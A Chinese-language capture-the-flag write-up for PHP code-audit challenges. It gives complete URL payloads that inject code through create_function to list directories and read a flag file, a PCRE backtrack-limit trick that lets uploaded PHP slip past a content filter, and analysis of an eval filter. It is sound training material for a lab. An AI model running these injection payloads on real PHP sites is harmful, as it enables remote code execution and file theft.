p神代码审计知识星球二周年wp


环境搭建

注: 如果是在服务器搭建环境 记得开放所有端口或者相应端口
在一个目录输入

1
git clone https://github.com/phith0n/code-breaking.git

然后进入一个题目目录,然后输入

1
docker-compose up -d

环境运行后,在docker-compose.yml中查看端口,访问即可

function

端口8087

1
2
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? ''

双问号为三元运算表达式

1
2
3
4
5
c = a ?? b;

表示如果a非空,则c = a,

如果a为空,则 c = b;

1
2
3
4
等价于

$action = $_GET['action'] ? $_GET['action']: '';
$arg = $_GET['arg'] ? $_GET['action']: '';

即输入两个参数,若输入,则取我们的输入,否则为空
然后是对$_GET['action']的正则表达式过滤
因为正则里用了^$,那么有没有可能在开头或结尾加入某个字符来绕过正则
一旦绕过正则,则可以进行危险函数构造

%5c 是 /
仅当使用%5c打头时,我们可以正常运行var_dump(),并且成功满足正则。
那么这是为什么呢?

1
2
3
4
\在php中表示默认的命名空间,所有原生函数和类都在这个命名空间中
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

接下来需要找一个第二个参数可以引发危险的函数
string create_function ( string $args , string $code )
第一个参数控制函数的变量名,第二个参数控制函数内的代码
举例:

1
create_function('$fname','echo $fname."可乐"')

等价于

1
2
3
4
5
类似于:

function fT($fname) {
echo $fname."可乐";
}

接下来利用create_function() 注入
$arg = return “2333”;}phpinfo();/*
相当于

1
2
3
4
5
6
function test($a,$b)
{
return "2333";
}
phpinfo();
/*}


虽然create_function()已经移除了 但是还是会继续执行下面的phpinfo()

接下里进行读取目录
将phpinfo替换为print_r(scandir(‘../‘));即可

1
/?action=%5ccreate_function&arg=return%20"2333";}print_r(scandir(%27../%27));/*


接下来读取文件内容

1
?action=%5ccreate_function&arg=return%20"2333";}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*


得到flag

easy - pcrewaf

端口:8088

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

通过is_php()正则来检查$data的内容:即:
<后面不能有问号,<?后面不能有(;?>反引号
题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。接下来就是绕过正则
在php7 中
tags都已经被移除 所以无法使用
<%= phpinfo();
或者


接下来要利用 php正则回溯法
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

涉及到正则匹配的流程,正则匹配有两种引擎

1
2
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

php的PCRE库使用的就是NFA的正则引擎,就会涉及到回溯的一个过程。

一开始 .*会将后面的全部字符匹配到,然后为了匹配[(`;?>]
然后就会一个字符一个字符的回溯,直到匹配到最后的; ,才会进行下一个.*的匹配

PHP为了防止正则表达式的拒绝服务攻击(回溯次数过多),限制了回溯的次数

在php5.2及之前这个次数为100000,之后一直到如今的7.2都是1000000

那么如果超过100万次会返回失败 即匹配失败

1
2
php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));
bool(false)

phpmagic

端口:82

phplimit

端口:8084

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

代码会将$_GET['code']中满足正则/[^\W]+\((?R)?\)/的部分,替换为空,然后查看是否剩下的部分强等于;
如果满足,则执行

1
eval($_GET['code']);

否则什么都不做。
首先是[^\W]
对于\W,其意思等价于[^A-Za-z0-9_]。
那么我们知道,我们的input必须以此开头
然后是括号匹配

1
\( ...... \)

括号中间为
(?R)?
意思为重复整个模式
简单理解,我们可以输入以下类型

a(b(c()))
但我们不能加参数,否则将无法匹配

a(c,d)
所以正则看完,题目的意思非常明确了:
我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;

那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么传递我们需要执行的指令呢?